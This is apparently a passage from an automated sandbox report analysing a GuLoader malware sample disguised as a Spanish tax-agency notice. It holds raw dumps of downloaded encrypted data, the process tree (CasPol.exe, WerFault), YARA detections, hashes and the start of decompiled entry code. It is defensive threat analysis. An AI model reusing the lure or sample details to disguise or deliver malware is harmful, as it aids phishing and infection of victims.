2023-03-20 10:38:24 UTC	113	IN	Data Raw: 40 29 5e 15 8b 44 e4 cc a8 18 79 47 03 04 10 29 95 50 88 4e 27 ac f6 88 2d 81 65 0c 04 6b 6a 5e e3 c1 db e9 a0 f2 cc 02 bd db 09 b2 a8 92 a5 5d 81 2a 2f 1f f8 3a 72 fe 7e 26 34 f5 82 59 28 95 6f 1f 57 66 fe f1 8d c9 9a 0a 23 70 f0 fa 57 00 e5 6c f2 9a fa 81 db 0c 55 42 8e a2 fe 5a 87 65 e4 0f 7d 43 6f 01 c6 c3 77 54 48 ca Data Ascii: @)^DyG)PN'-ekj^]*/:r~&4Y(oWf#pWlUBZe}CowTH
2023-03-20 10:38:24 UTC	113	IN	Data Raw: 5c eb b8 77 75 81 1e 9b 8d 72 e4 9c 4c 09 a5 ee ba ba 60 61 2c 3a 6c 17 4a f6 49 39 e3 8d df 09 4d b0 1e a9 2a 81 dc 83 b1 38 d4 a9 f6 0b 58 c6 cd e2 49 d6 4a 5e f2 99 46 52 62 c9 19 a1 d8 b9 b0 10 52 b8 ed 61 c1 3f b8 67 bc c7 f9 ab 19 76 0a 7d 09 38 c6 07 b4 7e 50 8f e7 d2 9c 5e 84 3c 71 6d b5 56 10 ec 9c aa 1a 3e b4 96 e4 31 4e 43 3b 16 8b 1f 3a d0 d8 d1 28 03 00 ce a6 4f ae 6e 76 a1 b9 2f 83 49 38 34 83 75 34 3d fc 9f d9 db 42 81 0b f0 6e f1 3e bb fe 23 4e 20 eb d3 ff be 0b 73 d6 4d 18 6d 72 48 bb 86 46 71 6c ee 25 bd 84 da 78 a9 13 a1 5b 0c fc 83 91 0f 41 bb 2c 97 40 1c 64 11 fe d7 21 58 6c a1 13 50 d5 cb 2a 1d 92 90 35 df 5d 8e cd 9c 9b b2 a9 6e b6 8a 26 8f 9c d5 dc cc 5c 98 57 cf 3b 97 a2 a9 54 a7 a5 75 1c c6 9d 84 94 ed fa 61 48 b1 4e cb 9a ab 01 Data Ascii: \wurL`a,:lJI9M8XIJ^FRbRa?gv}8~P^<qmV>1NC;:(Onv/I84u4=Bn>#N sMmrHFql%x[A,@d!XlP5]n&\W;TuaHN
2023-03-20 10:38:24 UTC	114	IN	Data Raw: c1 9d d5 00 3c 29 4a 90 5d d6 40 40 47 43 d3 13 47 ec 15 05 e6 63 ce 76 e7 50 6f 97 35 6e a1 dd e4 21 42 de 09 15 ee ee ca 3f 71 18 df ba 24 65 7a 1d 14 39 f5 77 1f 7b e8 d2 f9 f0 f5 29 20 cf 26 a1 5c 72 fa be 22 47 44 94 28 ef 11 36 11 0e a8 ed b1 bf 50 ce db 94 be ca 43 22 15 1e bf c5 ba fe 7a 72 78 e3 d8 d9 ed 56 88 7f de 91 8c 80 e2 9d c2 a1 2c 0e b7 15 b2 b1 24 e4 45 ac 6f ea 1b 2d 86 c8 76 2f 10 6b 14 ea 3f f9 0e b0 d1 f1 96 f8 ea 71 f4 7f 41 9f 73 58 0a 71 7f 58 a5 07 5c 47 40 90 5a 0b f2 56 50 f1 85 8d 27 f4 e8 84 9f 57 54 aa b0 cc 32 13 75 0e 0b fa a3 4e 1b 13 68 1f 79 55 b9 a4 9a 0c 3e f4 e9 28 c4 fc e9 ac ab f3 7a 47 db fa e4 d5 a6 94 41 51 73 db c3 53 b4 65 c7 c0 27 77 a0 f3 ce 22 7c fa 7a 9c 64 27 22 aa fe bf 7b 40 a3 8b 2c fe 77 8a d7 74 12 Data Ascii: <)J]@@GCGcvPo5n!B?q$ez9w{) &\r"GD(6PC"zrxV,$Eo-v/k?qAsXqX\G@ZVP'WT2uNhyU>(zGAQsSe'w"\|zd'"{@,wt
2023-03-20 10:38:24 UTC	116	IN	Data Raw: 24 c6 c2 77 13 48 e7 5c e4 b8 23 75 a4 1e fa f0 0b e4 f7 4c 0a a5 f2 ba af 60 4c 39 60 6c 55 4a ac 49 4b e3 c1 df 35 4d b9 1e a1 2a 84 dc 95 b1 18 a7 f0 f6 73 58 8a cd ac 49 90 4a 16 f2 c6 46 5f 62 c9 19 a1 d8 b4 b0 6e 52 fb ed 2d c1 79 b8 2f bc ea f9 f5 19 42 0a 73 09 2e c6 02 b4 7f 50 dd e7 b4 9c 01 84 7e 71 2d b5 41 10 e1 9c d1 1a 7a b4 cd e4 5d 4e 25 3b 34 8b 19 3a a8 d8 b5 28 2f 00 81 a6 7a ae 68 76 f4 b9 62 83 72 75 48 83 63 34 16 fc e0 d9 be 42 a4 0b f6 6e f7 3e a2 fe 45 4e 55 eb a1 b8 87 0b 43 d6 01 18 40 72 5a bb 99 46 4c 6c e7 25 8a 84 da 78 bd 13 e0 5b 3d fc 8e 91 0f 41 86 2c 87 40 37 64 13 fe d8 21 57 6c f4 13 78 d5 de 2a 35 92 bd 35 b0 2a e4 cd ff 9b f1 a9 63 b6 e3 26 c3 9c 8c dc 80 5c b5 2e ef 3b bd a2 d7 54 e4 a5 39 1c 80 9d cc 94 e0 fa 18 Data Ascii: $wH\#uL`L9`lUJIK5MsXIJF_bnR-y/Bs.P~q-Az]N%;4:(/zhvbruHc4Bn>ENUC@rZFLl%x[=A,@7d!Wlx55*c&\.;T9
2023-03-20 10:38:24 UTC	117	IN	Data Raw: d0 1e 1c 1b 42 69 79 c1 9e d5 07 3c 01 4a e6 5d 99 40 26 08 76 d3 2e 47 b9 15 31 e6 67 ce 70 e7 73 6f fe 4e 11 a1 b3 e4 50 42 a6 09 4b ee a6 ca 60 71 15 df d3 24 29 7a 49 14 0b f5 45 1f 5e e8 dc f9 f3 f5 68 20 ee 26 bf 5c 67 fa 81 22 60 44 9e 28 fa 11 7f 11 4d a8 e0 b1 d6 50 82 db cd be 86 43 0f 95 b2 b2 c8 b0 f4 57 34 55 8c f5 ac c0 38 a5 1b f3 b1 a1 c6 cf ef e2 ce 7f 63 d9 2f d3 91 4f af 20 c3 4f 87 4f 48 f4 bc 17 4e 73 66 7f e0 5a b1 7c df f1 82 bb 8c c7 4b d9 5f 6c 9e 1b 04 27 29 52 28 88 68 51 2a 4a cc 1c 5e 9d 25 25 94 eb ff 43 d4 c8 c0 d9 36 26 de df ad 5f 4f 4f 4a 2b 9f f0 28 6e 72 18 6a 1c 39 cb d0 f8 50 57 b8 9b 47 a0 9b e4 c5 a1 9d 32 67 b4 be 97 b4 d2 e0 7b 30 53 db b5 3f e8 6f f4 ed 11 5a 90 de 8c 0f 0e d7 15 b1 13 0a 51 87 9b 9f 09 13 ff e5 Data Ascii: Biy<J]@&v.G1gpsoNPBK`q$)zIE^h &\g"`D(MPCW4U8c/O OOHNsfZ\|K_l')R(hQ*J^%%C6&_OOJ+(nrj9PWG2g{0S?oZQ
2023-03-20 10:38:24 UTC	118	IN	Data Raw: f7 29 95 60 0f 24 1c 68 b2 ad 02 74 3e 8e 2b 8a c0 03 0c e0 64 9b c1 7f d6 96 7f 24 91 c3 8f 97 56 4c 1b 17 54 3a 73 db 79 14 bc ad f2 5a 63 de 60 c8 0b ea 9c e6 92 18 f0 fd d3 79 06 a7 eb 81 63 bd 62 3b db eb 1d 72 19 e4 44 8c a5 94 ec 3d 2e 95 ca 4c fa 12 82 4a 90 ca c5 a1 27 30 25 12 36 4d ed 69 89 1a 51 96 bb 94 da 2c ed 53 1d 00 d0 6c 4a cc f5 fc 76 57 d8 e0 85 50 12 2f 49 72 ee 76 59 dd bd db 46 4b 74 a1 d5 3c cb 1a 04 9b cf 0f e6 48 07 68 f0 36 1a 55 84 ed b4 b4 2e ec 0b 90 26 84 51 d6 8d 7f 3a 75 eb a9 af db 6a 01 a5 6d 6b 29 72 20 eb f2 29 10 1e b2 51 f9 84 ca 75 cf 19 c0 76 79 d1 ef bc 7b 6c e7 01 db 6d 73 49 76 d3 be 01 36 3f 81 7d 14 b4 aa 41 69 f7 f1 15 df 7e 83 bf 96 fa 9f ca 43 dd a7 43 a2 ee f8 fc e1 71 b5 7a e2 16 b7 8f fa 79 c9 88 14 31 Data Ascii: )`$ht>+d$VLT:syZc`ycb;rD=.LJ'0%6MiQ,SlJvWP/IrvYFKt<Hh6U.&Q:ujmk)r )Quvy{lmsIv6?}Ai~CCqzy1
2023-03-20 10:38:24 UTC	119	IN	Data Raw: e7 22 4e 90 2d 7d 2c c0 1e 08 1b 51 69 69 c1 9c d5 07 3c 0b 4a cf 5d 84 40 32 08 76 d3 2f 47 f7 15 75 c7 42 ce 6d e7 75 6f 97 35 68 a1 d8 e4 11 42 db 09 14 ee e4 ca 29 71 4d df 9d 24 70 7a 20 14 1c f5 2b 2e 7d e8 f4 f9 d2 f5 0e 20 fd 26 85 5c 4c fa a9 22 46 44 ab 28 d9 11 0d 11 34 a8 9b b1 ac 50 f7 db b9 be 99 43 11 95 ab b2 f3 b0 c9 57 4a 55 da f5 d9 c3 7b a5 7e b0 d0 a1 ec cf f1 e2 81 7f 5b d9 66 d3 d4 4f 96 20 8c 4f ba 4f 5f f4 a7 17 49 73 02 7f 86 5a 9c 7c 90 f1 db bb d8 c7 4b d9 5f 6c b7 5e 67 27 4d 52 39 88 61 51 33 4a f5 1c 79 9d 68 25 df eb a7 43 dd c8 84 d2 36 26 cc df b8 5f 76 4f 7c 2b fa ef 35 6e 23 18 62 1c 2e cb 95 f8 71 57 8f 9b 1a a0 81 e4 d7 a1 c0 32 3a b4 81 97 e1 d2 e9 7b 51 14 d6 c2 38 e8 48 f4 ed 11 5a 90 de 8c 0f 0e d7 15 b1 13 0a 51 Data Ascii: "N-},Qii<J]@2v/GuBmuo5hB)qM$pz +.} &\L"FD(4PCWJU{~[fO OO_IsZ\|K_l^g'MR9aQ3Jyh%C6&_vO\|+5n#b.qW2:{Q8HZQ
2023-03-20 10:38:24 UTC	121	IN	Data Raw: 79 3a 2e fb d6 90 06 e3 29 c4 60 3b 24 1d 68 a9 ad 1a 74 72 8e 7c 8a ef 03 14 e0 6a 9b 95 7f 96 96 0a 24 ca c3 c2 97 6d 4c 26 17 24 3a 25 db 3a 14 97 ad e5 5a 6d de 1f e3 7e ea b4 e6 c4 18 ba fd 92 79 3d a7 bf 81 2b bd 23 3b 80 eb 22 72 3e e4 49 8c aa 94 df 3d 34 95 84 4c ad 12 dd 4a cf ca a5 a1 19 b0 8f 1f 09 47 c6 44 b4 37 50 82 e7 b9 9c 01 84 7e 71 2d b5 41 10 ec 9c af 1a 39 b4 81 e4 3b 4e 4a 3b 52 8b 22 3a af d8 ba 28 28 00 ca a6 59 ae 68 76 bb b9 22 83 65 75 45 83 1b 34 78 fc c0 d9 99 42 c1 0b 94 6e 8e 3e 90 fe 10 4e 00 eb ce ff bf 0b 21 d6 2b 18 5b 72 46 bb 9f 46 2a 6c 92 25 ad 84 d7 78 ba 13 ae 5b 1d fc 8a 91 09 41 85 2c b2 40 01 64 12 fe b3 21 3c 6c c9 13 7b d5 d9 2a 1d 92 cb 35 ff 2a 82 f8 db 9b f0 a9 39 b6 ce 26 ce 9c 94 dc 80 5c e9 57 b1 3b d2 Data Ascii: y:.)`;$htr\|j$mL&$:%:Zm~y=+#;"r>I=4LJGD7P~q-A9;NJ;R":((Yhv"euE4xBn>N!+[rFFl%x[A,@d!<l{5*9&\W;
2023-03-20 10:38:24 UTC	122	IN	Data Raw: cd 52 24 31 ad 95 5b e7 30 4e a3 2d 4b 2c db 1e 1e 1b 03 69 4a c1 80 d5 1c 3c 30 4a 90 5d d6 40 11 08 70 d3 33 47 ed 15 37 e6 69 ce 7c e7 1f 6f f4 35 54 a1 d6 e4 0e 42 ff 09 5c ee ab ca 4c 20 75 df 91 24 6b 7a 07 14 3b f5 43 1f 56 e8 db f9 f2 f5 68 20 ea 26 bf 5c 69 fa 86 22 7e 44 98 28 fc 11 36 11 0f a8 a3 b1 88 50 f3 db b0 be ca 43 4e 95 fa b2 e5 b0 b3 57 1d 55 8c f5 b7 c0 0a a5 2f f3 e3 a1 ef cf fb e2 c8 7f 62 d9 70 d3 c2 4f e4 5f a1 4f e0 4f 00 f4 e5 17 02 73 46 7f c7 5a d4 7c 9d f1 dc bb d8 c7 22 d9 11 6c fe 5e 33 27 14 52 78 88 53 51 35 4a f1 1c 68 9d 3d 25 94 eb ff 43 d4 c8 a9 d9 7a 26 87 df e1 5f 3e 4f 23 2b d7 f0 63 6e 1e 18 15 1c 13 cb cb f8 79 57 9a 9b 4c a0 dc e4 ea a1 81 32 28 b4 97 97 ef d2 b4 7b 01 53 ba c2 5e e8 00 f4 8d 11 18 90 9c 8c 4c Data Ascii: R$1[0N-K,iJ<0J]@p3G7i\|o5TB\L u$kz;CVh &\i"~D(6PCNWU/bpO_OOsFZ\|"l^3'RxSQ5Jh=%Cz&_>O#+cnyWL2({S^L
2023-03-20 10:38:24 UTC	123	IN	Data Raw: ed 11 f7 dc fb e1 c9 4d 5d 0e 8d de f6 0e 97 38 a9 65 5d 25 61 79 8b a9 57 75 46 87 50 aa bd 11 30 e8 16 8b e1 32 f6 df 50 2c 85 c1 b2 87 71 01 3e 52 6f 3c 58 9f 4a 12 f1 f8 dd 5c 44 da 1e c8 2a ea d8 ee b1 18 d4 f9 f2 79 58 a7 ce 87 54 b8 48 3d fa e3 46 76 6b f4 01 82 d6 9d b5 3d 50 9c f5 45 ca 12 be 43 a4 c4 e4 a4 11 20 02 1b 00 4d c3 60 ac 14 4d aa ef 9c 92 2c 8d 5a 69 18 bb 7c 08 d4 94 e1 1f 5f bd e4 e4 51 47 37 28 72 81 7f 22 c0 dd d3 38 5a 50 bc a3 34 b3 1f 7e 8b b1 06 90 48 7f 61 9b 2b 31 5d ec fc 89 a9 47 e4 16 9c 66 94 36 de fb 5f 4c 74 e5 a8 fd dd 01 08 f6 6e 19 34 77 34 be ef 43 14 4c b3 24 f7 8a 9f 7d d2 16 dd 5e 64 f9 f2 94 66 44 fa 29 df 60 72 6c 6e f8 9e 22 2e 62 8f 1d 1c f5 a9 32 71 8f f4 25 c7 2c a3 cf 8b 9e 87 a7 44 96 a6 3b a7 81 e5 d9 Data Ascii: M]8e]%ayWuFP02P,q>Ro<XJ\D*yXTH=Fvk=PEC M`M,Zi\|_QG7(r"8ZP4~Ha+1]Gf6_Ltn4w4CL$}^dfD)`rln".b2q%,D;
2023-03-20 10:38:24 UTC	124	IN	Data Raw: 32 54 a3 00 b8 04 c0 93 3d 7c 43 c3 f0 22 c9 22 21 a3 41 4d 02 e6 6a 08 74 4d 0e 60 b8 a6 ac 03 59 39 18 cf 2e 99 35 33 6b 7a 91 35 2e f5 71 10 94 0e ff 33 c9 22 41 ce 1b 2c a1 b9 ec 7c 42 89 09 66 ee 8b ca 14 70 38 94 b3 4d 67 08 06 67 37 93 5f 31 69 81 c4 8c f7 99 1b 54 cf 42 a4 33 28 bf 86 4b 7f 2b 89 5b a6 42 3a 65 14 c1 a3 d6 88 14 ca a8 89 d9 c5 26 50 bb cc d7 b1 c4 97 39 15 26 b0 9c b7 a7 3a c0 39 9a fd c4 c7 aa f3 87 d3 1e 7a b6 67 db 80 78 ca 10 82 7c c4 7f 2d f4 d8 16 2f 78 26 06 c4 09 9c 08 c4 98 9f dc 8b c7 71 df 5f 6d 9e 4f d8 f6 79 53 58 88 07 51 47 4a 90 10 0a 9d 51 6e a1 bb e1 2c 93 9b 84 d9 45 27 aa d2 9f 3c 61 23 61 4c 8e 99 23 0b 61 6a 6d 1c 55 da a5 f8 00 14 98 eb 5a c5 8c 90 c5 cc 96 40 35 b4 fa 9b d4 d2 93 18 3d 23 a9 87 62 9b 65 f4 Data Ascii: 2T=\|C""!AMjtM`Y9.53kz5.q3"A,\|Bfp8Mgg7_1iTB3(K+[B:e&P9&:9zgx\|-/x&q_mOySXQGJQn,E'<a#aL#ajmUZ@5=#be
2023-03-20 10:38:24 UTC	125	IN	Data Raw: 97 31 90 95 b4 d6 d9 eb 1b 73 ed ff e0 db 6b d4 c7 8b d6 fe 14 06 d8 e2 40 7c 25 7d e9 33 ab 57 75 49 9c dd 63 be 23 74 f2 9f fe fe 79 c4 97 4d 36 24 a6 bf b7 62 42 22 19 6f 3d 4b c7 4e 13 e0 b0 da 54 50 db 1b e8 2a f8 5d 1f 94 1f c5 ff f4 6b d9 5a d0 84 5b 3c 2f 29 73 fa 44 60 e0 e5 04 89 ca 15 35 2f d0 90 ef 5e 40 03 ba 44 b2 d8 78 b0 09 30 0d 0e 15 5f df 67 a9 06 4d a1 fa 86 85 31 86 54 51 03 b4 71 15 c4 94 fa 3a 56 b5 f2 66 5d 4b 0f 3b 60 09 67 3f fd d8 c9 aa 5e 08 81 a5 3d bc 9b 13 95 b7 07 96 5a f7 75 82 24 b6 4c f9 cd d8 b5 51 ec 0f 99 6f 8c 30 d0 de 7e 4f 67 69 81 f9 fb 0a 00 c4 ef 19 37 75 25 b5 fc 48 12 7d 30 00 eb 06 96 6a 4d 3e d1 d9 48 ed 6d b4 69 c3 ce 3e 59 6d 61 e5 67 fb 9e 21 24 ee b4 16 34 d5 b8 a8 50 95 f1 31 d1 24 8d c3 98 9e bf a9 51 Data Ascii: 1sk@\|%}3WuIc#tyM6$bB"o=KNTP*]kZ[</)sD`5/^@Dx0_gM1TQq:Vf]K;`g?^=Zu$LQo0~Ogi7u%H}0jM>Hmi>Ymag!$4P1$Q
2023-03-20 10:38:24 UTC	127	IN	Data Raw: c5 3e 7b 94 20 d0 89 53 39 da 63 8a 44 bc ee 4f 15 2c bc 9d 4d fb 64 57 c2 30 22 24 bb 03 66 06 2d 74 1e d8 ee c8 6f 21 41 57 a4 40 e4 59 5c 0a 03 dd 42 45 9b 17 77 e8 14 4f 15 f6 12 67 e2 29 0e b8 b7 f9 61 5f 85 14 74 f7 96 c8 4f 75 38 de f6 38 02 7a 6b 08 44 e7 32 0f 3f e0 b6 e5 84 ec 46 3d a6 3b c3 41 14 e3 e0 20 01 43 f3 26 86 1f 51 19 6e aa cf b5 db 51 ac d3 fc b9 a7 5f 30 14 2a af c0 ad fb 4a 77 47 61 28 c4 c5 4b a0 6d 72 28 bc 85 c1 8f 63 b0 75 0e da 14 c1 30 f2 f6 a1 11 47 ec 6f 2c f5 d9 95 ce 4a 6c 65 e4 54 eb fe 59 e3 73 56 ea 45 9c cb fd 81 8d dc b5 29 7f 5c 56 86 1a 54 55 c8 21 0e 89 6c 54 37 73 5a 9f c1 05 ca 96 5b e6 34 28 2e ce 4d 91 fe 1c a9 0b f2 5c ef 02 1e 3f 1d 47 49 49 f6 15 50 f9 89 aa 49 f2 e6 be 23 1e 20 c5 59 e8 15 38 da 9c 73 59 Data Ascii: >{ S9cDO,MdW0"$f-to!AW@Y\BEwOg)a_tOu88zkD2?F=;A C&QnQ_0*JwGa(Kmr(cu0Go,JleTYsVE)\VTU!lT7sZ[4(.M\?GIIPI# Y8sY
2023-03-20 10:38:24 UTC	128	IN	Data Raw: 57 46 fe b5 8d a8 9a 7e 23 11 f0 a6 57 44 e5 09 f2 fc fa e0 db 79 55 2e 8e d6 fe 06 87 29 e4 60 7d 26 6f 78 c6 ad 77 54 48 8e dc 92 b8 03 75 b0 1e 9b 70 7f e4 96 4c 24 a5 c3 ba 97 60 4c 2c 17 6c 3b 4a da 49 14 e3 95 df 5a cd de 1e c8 2a ea dc e6 b1 18 d4 fd f6 79 58 a6 cd 81 49 bd 4a bb f2 eb 46 72 62 e4 19 8c d8 94 b0 3d 52 95 ed 4c c1 13 b8 4b bc ca f9 c9 19 30 8a 12 09 4d c6 69 b4 1a 50 af e7 94 9c 2c 84 52 71 00 b5 6c 10 5c 9c fc 1a f7 94 e2 e4 fc 4d 2f 3b 72 8b 76 3a dd d8 db 28 07 24 a3 a6 67 a2 1a 76 9b b9 0f 83 48 75 68 83 9a 37 61 fc ed d9 e2 42 bf 0b c6 6e d2 3e 93 fe 2d 4e 26 eb e9 ff 94 0b 4f d6 32 18 60 72 67 bb b4 46 5f 6c b2 25 f9 84 02 7c 20 ed c0 5b 78 fc ef 91 7a 41 e7 2c db 40 73 64 77 fe be 21 36 6c be 13 14 d5 aa 2a 69 92 f5 35 df 2a Data Ascii: WF~#WDyU.)`}&oxwTHupL$`L,l;JIZyXIJFrb=RLK0MiP,Rql\M/;rv:($gvHuh7aBn>-N&O2`rgF_l%\| [xzA,@sdw!6li5*
2023-03-20 10:38:24 UTC	129	IN	Data Raw: 85 6f 57 d7 1b 5f 5b aa 51 0f e7 53 e3 b6 70 0e f6 43 a6 78 95 c2 72 67 50 cd f0 6c c5 3b 37 8d 5d 4e 40 dc 7d 1b 6f 4a 06 62 ef 93 a5 03 1e 72 74 a7 57 d6 60 7d 7c 6d a6 33 33 d0 7b 13 89 26 b6 69 8b 7c 1c c3 17 69 d3 d7 de 0e 21 e3 6c 0b 8f f8 e7 20 18 5b ad 91 57 6b 1c 1d 39 3b 9a 46 25 5e 9b da d7 e0 c7 6a 1e b7 2c ed Data Ascii: oW_[QSpCxrgPl;7]N@}oJbrtW`}\|m33{&i\|i!l [Wk9;F%^j,
2023-03-20 10:38:24 UTC	129	IN	Data Raw: 7c 26 da de 51 6e 27 8e 5a e1 65 26 2f 6d a2 ed 91 db 70 8f fb dc cc ce 32 57 f0 ec c6 a0 d4 ae 25 1b 23 8a 99 bc a7 33 d6 5f 8b fc cd ee bc a0 c0 d4 0d 60 e3 66 b0 d9 2a 89 41 df 62 87 26 4e 86 a7 64 40 15 1f 52 89 35 94 46 d1 82 9c 95 8e f4 53 e7 72 66 bf 7e 78 07 51 72 78 a8 3b 70 6a 67 b0 49 4a de 76 68 90 85 e4 25 91 bb f0 f9 18 56 de b6 a3 31 60 42 04 0b da d0 6e 4e 33 38 3f 3c 75 eb 84 d8 45 31 d4 e2 47 d5 dc 93 cd cf 87 12 33 db da f4 bd b3 fa 1c 34 73 af aa 57 c8 32 9d ae 75 18 e7 80 ac 77 7d 9f 67 bc 52 44 32 c5 ee d1 7d 60 bc e4 00 8a 77 e5 d4 54 09 3f d1 1f 39 ab 1a d8 46 f5 1a 43 6d fd 5a f4 87 ea 2f 8a 36 fb 31 8d 37 08 ff 88 57 cc 59 fd ef 41 0b bf 19 6c f1 07 b4 ea 6e 02 46 6a df 93 f6 82 b5 81 a4 11 88 b2 97 76 70 64 25 66 29 11 ff 16 c4 Data Ascii: \|&Qn'Ze&/mp2W%#3_`f*Ab&Nd@R5FSrf~xQrx;pjgIJvh%V1`BnN38?<uE1G34sW2uw}gRD2}`wT?9FCmZ/617WYAlnFjvpd%f)
2023-03-20 10:38:24 UTC	130	IN	Data Raw: c4 4e e5 b6 f0 df 4a 21 b5 bb 25 b2 66 d9 6a 91 e7 c7 ac 13 10 2a 32 29 6d e6 55 95 37 7d 93 94 e1 ec 5c eb 21 05 65 d1 23 43 ec d5 98 27 75 cf 85 d6 60 7f 1e 0f 47 bc 5b 0b e8 ec ed 05 7f 33 c2 93 11 cf 2f 10 fe 94 3f b3 70 11 0d e6 53 07 31 cf 8b e9 c9 60 cc 24 a7 43 a9 00 db f4 72 44 55 cb 80 df fb 2b 3d f7 40 35 09 25 40 d5 96 29 67 1f 92 12 d9 a9 92 46 c2 19 e0 7b 59 dc cf b1 47 60 ca 01 e7 33 06 14 06 91 cc 55 53 08 ce 40 34 9c ce 17 4b e9 c2 00 ee 19 bb af af fa b2 9c 27 8f 91 0b 96 fa 9a b8 cc 64 d0 65 86 16 d6 90 ce 60 f9 97 26 29 cb a4 d2 f5 b0 d8 15 67 fd 63 87 a4 c5 0b 2a 97 ef ce b4 38 ee 5d 7e 0c f9 d3 0b 8a df f1 77 c5 17 30 d7 99 85 5b 18 1c 8b be 2b 35 47 6a 68 f1 fe bd 21 f9 9e f9 56 ed b2 21 b6 18 23 9d 79 cb 71 44 69 57 de 85 7c 8e 63 Data Ascii: NJ!%fj2)mU7}\!e#C'u`G[3/?pS1`$CrDU+=@5%@)gF{YG`3US@4K'de`&)gc8]~w0[+5Gjh!V!#yqDiW\|c
2023-03-20 10:38:24 UTC	132	IN	Data Raw: f5 9a 25 4d d5 48 ed 3f 69 94 96 50 64 28 88 08 e9 7f 3b 31 04 c1 ac dd 94 37 dc fb c8 e9 c2 2d 46 fa e8 c1 e5 e8 ae 77 13 3b 87 d5 b5 a1 22 c0 0d da b1 8c ad f1 90 e8 81 5f 32 f8 38 fe bc 45 c4 00 90 2b 8f 3f 48 9a ac 72 41 10 12 41 e7 50 d9 5c 90 d1 cd df 9d b7 14 b7 1b 09 f1 2a 19 54 02 37 35 ea 6b 28 79 47 9a 3c 2b bd 76 05 d1 d7 ec 30 87 ad e9 bb 3b 5f e3 bb a9 31 67 26 7a 52 f7 fa 6e 4e 33 38 3f 3c 75 eb 84 d8 78 2e 84 fe 15 82 8b 8d c2 92 c1 10 4a be da b7 f5 f2 b4 5b 71 73 fb e2 5c 89 08 91 fd 33 3a f9 90 fe 4d 7d 95 73 e8 3d 70 38 c4 ff d0 7e 33 d1 c8 01 93 68 e5 d6 59 26 35 c9 0e 27 e4 04 ce 14 94 71 00 28 fd 0e bc c2 ea 02 a0 36 ad 74 df 64 41 b0 c6 4a ce 4f f3 ff 1d 5e e0 5c 2b 8f 79 f1 ae 0b 5a 03 29 8a c7 bf cd ab bf ae 04 88 ad c4 77 6d 41 Data Ascii: %MH?iPd(;17-Fw;"_28E+?HrAAP\*T75k(yG<+v0;_1g&zRnN38?<ux.J[qs\3:M}s=p8~3hY&5'q(6tdAJO^\+yZ)wmA
2023-03-20 10:38:24 UTC	133	IN	Data Raw: 4a 3b f2 eb 46 72 62 e4 19 8c d8 94 b0 3d 52 95 ed 4c c1 12 b8 4a bc Data Ascii: J;Frb=RLJ

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: rAEAT-AvisodeNotificaci__n.exePID: 7928, Parent PID: 4764

General

Target ID:	0
Start time:	11:37:20
Start date:	20/03/2023
Path:	C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe
Imagebase:	0x400000
File size:	433208 bytes
MD5 hash:	77B1761153F7E6CA4B76EA26C2FA6645
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2031116791.00000000049EC000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: CasPol.exePID: 5816, Parent PID: 7928

General

Target ID:	5
Start time:	11:38:17
Start date:	20/03/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe
Imagebase:	0xb50000
File size:	108664 bytes
MD5 hash:	914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000005.00000002.2396701126.0000000000F30000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5796, Parent PID: 5816

General

Target ID:	6
Start time:	11:38:17
Start date:	20/03/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff69cca0000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 7128, Parent PID: 5816

General

Target ID:	9
Start time:	11:38:30
Start date:	20/03/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5816 -s 2552
Imagebase:	0x270000
File size:	482640 bytes
MD5 hash:	40A149513D721F096DDF50C04DA2F01F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: rAEAT-AvisodeNotificaci__n.exePID: 7928, Parent PID: 4764COMMON

Execution Graph

Execution Coverage:	10%
Dynamic/Decrypted Code Coverage:	13.5%
Signature Coverage:	23.6%
Total number of Nodes:	1554
Total number of Limit Nodes:	40

Executed Functions

Function 00403350 Relevance: 89.7, APIs: 33, Strings: 18, Instructions: 412
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			_entry_() {
				signed int _t51;
				intOrPtr* _t56;
				WCHAR* _t60;
				char* _t63;
				void* _t66;
				void* _t68;
				int _t70;
				int _t72;
				int _t75;
				intOrPtr* _t76;
				int _t77;
				int _t79;
				void* _t103;
				signed int _t120;
				void* _t123;
				void* _t128;
				intOrPtr _t147;
				intOrPtr _t148;
				intOrPtr* _t149;
				int _t151;
				void* _t154;
				int _t155;
				signed int _t159;
				signed int _t164;
				signed int _t169;
				void* _t171;
				WCHAR* _t172;
				signed int _t175;
				signed int _t178;
				CHAR* _t179;
				void* _t182;
				int* _t184;
				void* _t192;
				char* _t193;
				void* _t196;
				void* _t197;
				void* _t243;

				_t171 = 0x20;
				_t151 = 0;
				 *(_t197 + 0x14) = 0;
				 *(_t197 + 0x10) = L"Error writing temporary file. Make sure your temp folder is valid.";
